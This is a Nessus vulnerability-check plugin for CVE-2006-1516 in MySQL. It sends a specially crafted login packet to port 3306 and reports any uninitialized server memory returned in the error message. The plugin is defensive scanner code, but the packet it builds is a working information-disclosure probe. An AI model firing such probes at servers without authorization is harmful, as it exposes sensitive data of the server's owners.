CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
98.4%
The MySQL database server on the remote host reads from uninitialized memory when processing a specially crafted login packet. An unauthenticated attacker may be able to exploit this flaw to obtain sensitive information from the affected host as returned in an error packet.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(21632);
script_version("1.21");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2006-1516");
script_bugtraq_id(17780);
script_name(english:"MySQL Anonymous Login Handshake Remote Information Disclosure");
script_set_attribute(attribute:"synopsis", value:
"The remote database server is affected by an information disclosure
flaw.");
script_set_attribute(attribute:"description", value:
"The MySQL database server on the remote host reads from uninitialized
memory when processing a specially crafted login packet. An
unauthenticated attacker may be able to exploit this flaw to obtain
sensitive information from the affected host as returned in an error
packet.");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/432733/30/0/threaded");
script_set_attribute(attribute:"see_also", value:"http://dev.mysql.com/doc/refman/4.1/en/news-4-0-27.html");
script_set_attribute(attribute:"see_also", value:"http://dev.mysql.com/doc/refman/4.1/en/news-4-1-19.html");
script_set_attribute(attribute:"see_also", value:"http://dev.mysql.com/doc/refman/5.0/en/news-5-0-21.html");
script_set_attribute(attribute:"see_also", value:"http://dev.mysql.com/doc/refman/5.1/en/news-5-1-10.html");
script_set_attribute(attribute:"solution", value:
"Upgrade to MySQL 4.0.27 / 4.1.19 / 5.0.21 / 5.1.10 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2006/05/02");
script_set_attribute(attribute:"plugin_publication_date", value:"2006/06/04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:mysql:mysql");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Databases");
script_copyright(english:"This script is Copyright (C) 2006-2022 Tenable Network Security, Inc.");
script_dependencies("find_service1.nasl");
script_require_ports("Services/mysql", 3306);
exit(0);
}
include("dump.inc");
include("global_settings.inc");
include("misc_func.inc");
include("mysql_func.inc");
port = get_service(svc:"mysql", default:3306, exit_on_fail:TRUE);
# Establish a connection.
#
# nb: this requires that the nessusd host be allowed to connect.
mysql_init(port:port, nocache:TRUE, exit_on_fail:TRUE);
# Exclude MariaDB MaxScale servers due to a false positive
ver = mysql_get_version();
if ('maxscale' >< ver) audit(AUDIT_LISTEN_NOT_VULN, 'MariaDB MaxScale', port, ver, 'MySQL');
# Send a malicious client authentication packet.
add_caps = CLIENT_LONG_PASSWORD | CLIENT_CONNECT_WITH_DB | CLIENT_PROTOCOL_41;
cap = mkdword(mysql_get_caps() | add_caps) + # client capabilities
# 1 => long password
# 8 => specify db on connect
# 512 => 4.1 protocol
mkdword(65535) + # max packet size
mkbyte(mysql_get_lang()) + # charset
crap(data:raw_string(0), length:23) + # filler
"nessus" + # username minus null byte
mkbyte(20) + crap(20) + # scramble (len + data)
SCRIPT_NAME + crap(20) + mkbyte(0); # database plus null byte
mysql_send_packet(data:cap);
pkt = mysql_recv_packet();
if (!isnull(pkt))
{
err = mysql_parse_error_packet(packet:pkt);
# nb: a non-affected version will report "Bad handshake".
if (
!isnull(err) &&
(
"Access denied" >< err["msg"] ||
"Incorrect database name" >< err["msg"]
)
)
{
if (report_verbosity > 1)
{
msg = hexdump(ddata:err["msg"]);
report = '\nHere is the text returned by the affected MySQL server :\n\n '+msg+'\n';
}
else
report = NULL;
security_warning(port:port, extra:report);
mysql_close();
exit(0);
}
}
mysql_close();
exit(0, 'The MySQL server on port '+port+' is not affected.');